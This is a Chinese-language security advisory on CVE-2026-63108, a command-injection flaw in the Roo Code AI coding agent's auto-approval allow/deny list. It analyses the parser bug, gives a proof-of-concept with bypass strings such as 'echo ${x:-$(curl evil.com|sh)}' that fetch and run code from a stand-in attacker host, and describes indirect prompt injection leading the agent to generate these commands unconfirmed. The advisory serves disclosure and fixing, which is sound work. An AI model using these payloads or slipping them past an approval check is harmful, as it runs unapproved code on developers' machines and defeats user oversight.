Roo Code 3.54.0命令注入CVE-2026-63108
Roo Code是开源免费的VS Code AI编程代理插件,相当于内置编辑器的完整AI开发团队,支持本地私有化运行,原生兼容 MCP 协议。
一、基本情况
Roo Code原生对接 Model Context Protocol,可接入网页检索、数据库查询、本地知识库工具,大幅拓展 AI 开发能力边界Roo Code。

Roo Code本地VS Code插件适合单人开发,非常适合全栈项目开发、老旧代码重构、线上 Bug 批量修复、本地私有化 AI 编码工作流。
栋科技漏洞库关注到Roo Code 3.54.0 通过参数扩展解析进行命令注入漏洞,漏洞现已被追踪为CVE-2026-63108,CVSS 4.0评分7.5。
二、漏洞分析
CVE-2026-63108是Roo Code自动执行批准功能命令注入漏洞,可将命令替换语法嵌套在参数扩展默认值内,绕过黑白名单校验机制。
该漏洞源于parse-command.ts 中的命令解析器会先将参数扩展替换为无意义占位符,再提取命令替换内容,
导致安全检测函数 containsDangerousSubstitution 无法识别嵌套的恶意载荷。
程序仅根据外层处于白名单的命令前缀自动放行整条语句,最终通过 execa 拉起Shell执行内嵌恶意代码,实现任意命令执行。
(一)漏洞概要
开启「始终批准执行」功能时,Roo Code 会自动放行AI代理生成的Shell命令,并通过黑白名单限制可执行指令。
程序命令解析器处理顺序存在逻辑缺陷:先将 ${...} 变量参数扩展替换为占位符,之后才解析 $()、反引号 子命令替换。
因此,藏在参数扩展默认值中的恶意子命令(示例:echo ${x:-$(curl evil.com|sh)})不会被单独拆分、不会经过黑白名单校验;
程序仅识别外层合法的echo命令并自动放行。最终Bash原生解析参数扩展内容,执行夹带的恶意代码。
该漏洞已在 getCommandDecision、parseCommand 两个核心函数中验证属实。
(二)漏洞详细原理
在文件 src/shared/parse-command.ts 中,parseCommandLine 函数执行逻辑:
1. 第76行左右:优先把 ${...} 参数扩展替换为 __PARAM_n__ 占位符;
2. 第101~109行:完成参数替换后,才解析 $()、反引号包裹的子Shell命令。
嵌套在 ${...} 默认值内的子命令会被整体封装进占位符,无法被识别为独立子命令。
后续 getCommandDecision(src/core/auto-approval/commands.ts)仅识别外层 echo ${...},匹配白名单内允许echo,判定自动放行。
专用安全检测函数 containsDangerousSubstitution(commands.ts 第22行)存在检测盲区:
仅校验转义字符与少量特定扩展语法,完全不识别 ${...} 内部的 $()、反引号危险语法。
命令最终通过 execa({ shell: ... }) 拉起Shell进程执行,由Shell完整解析所有参数扩展与内嵌子命令。
(三)该漏洞突破了自动审批黑白名单安全防护
真实攻击路径为间接提示注入:
AI代理读取不可信外部内容(本地文件、网页、代码仓库、MCP接口返回数据),
被诱导生成 [白名单允许指令] ${x:-$(黑名单禁止命令>)} 格式代码,无需用户确认自动执行。
三、POC概念验证
引入项目源码 getCommandDecision(src/core/auto-approval/commands.ts)、parseCommand(src/shared/parse-command.ts),
(一)依赖shell-quote库完成复现:
typescript
// poc.ts - 安装项目依赖后运行(基于vitest/ts-node环境)
import { getCommandDecision } from "./src/core/auto-approval/commands";
// 配置规则:仅允许echo,禁止touch、rm、curl
const opts = { allowedCommands: ["echo"], deniedCommands: ["touch", "rm", "curl"] };
// 批量测试各类命令
for (const cmd of [
'echo $(touch /tmp/x)', // 对照组:自动拒绝
'echo hi; rm -rf x', // 对照组:自动拒绝
'echo hello', // 对照组:自动放行
'echo ${x:-$(touch /tmp/ROO_PWNED)}', // 漏洞绕过:本应拒绝却自动放行
'echo ${x:=$(curl evil.com)}', // 漏洞绕过:自动放行
'echo "${x:-curl evil.com}"', // 漏洞绕过:自动放行
]) console.log(cmd, "=>", getCommandDecision(cmd, opts));
(二)验证输出结果
${x:-$(...)} 参数扩展包裹子Shell,命令分割逻辑无法识别内层touch、curl等黑名单指令,黑名单完全失效:
echo $(touch /tmp/x) -> auto_deny 对照组,正常拦截
echo hi; rm -rf x -> auto_deny 对照组,正常拦截
echo hello -> auto_approve 对照组,正常放行
echo ${x:-$(touch /tmp/ROO_PWNED)} -> auto_approve 漏洞绕过,理应拦截却放行
echo ${x:=$(curl evil.com)} -> auto_approve 漏洞绕过
echo "${x:-curl evil.com}" -> auto_approve 漏洞绕过
(三)Bash原生语法验证内嵌命令可执行
bash
bash -c 'echo ${x:-$(touch /tmp/roobash && echo INNER_RAN)}'
执行后输出INNER_RAN,同时生成 /tmp/roobash 文件,证明被黑名单拦截的touch命令可成功执行。
(四)漏洞危害
黑名单禁止、未登记的恶意命令隐藏在参数扩展默认值中,可绕过校验自动执行,黑白名单安全机制完全失效。
攻击者利用间接提示注入,能够以AI代理自动运行权限,在开发者本地主机上执行任意未授权系统命令。
(五)修复方案
1、优先解析校验所有命令替换语法($()、反引号),
再处理 ${...} 参数扩展;递归解析 ${x:-...}、${x:=...}、${x/.../...} 等参数扩展内部内容,检测内嵌子命令。
2、扩充 containsDangerousSubstitution 检测规则:只要 ${...} 内部存在 $( 或反引号,直接阻断命令执行(失败关闭策略)。
3、新增单元测试,覆盖参数扩展内嵌子命令的各类绕过场景。
四、影响范围
Roo Code ≤ 3.54.0
五、修复建议
Roo Code > 3.54.0
六、参考链接
管理员已设置登录后刷新可查看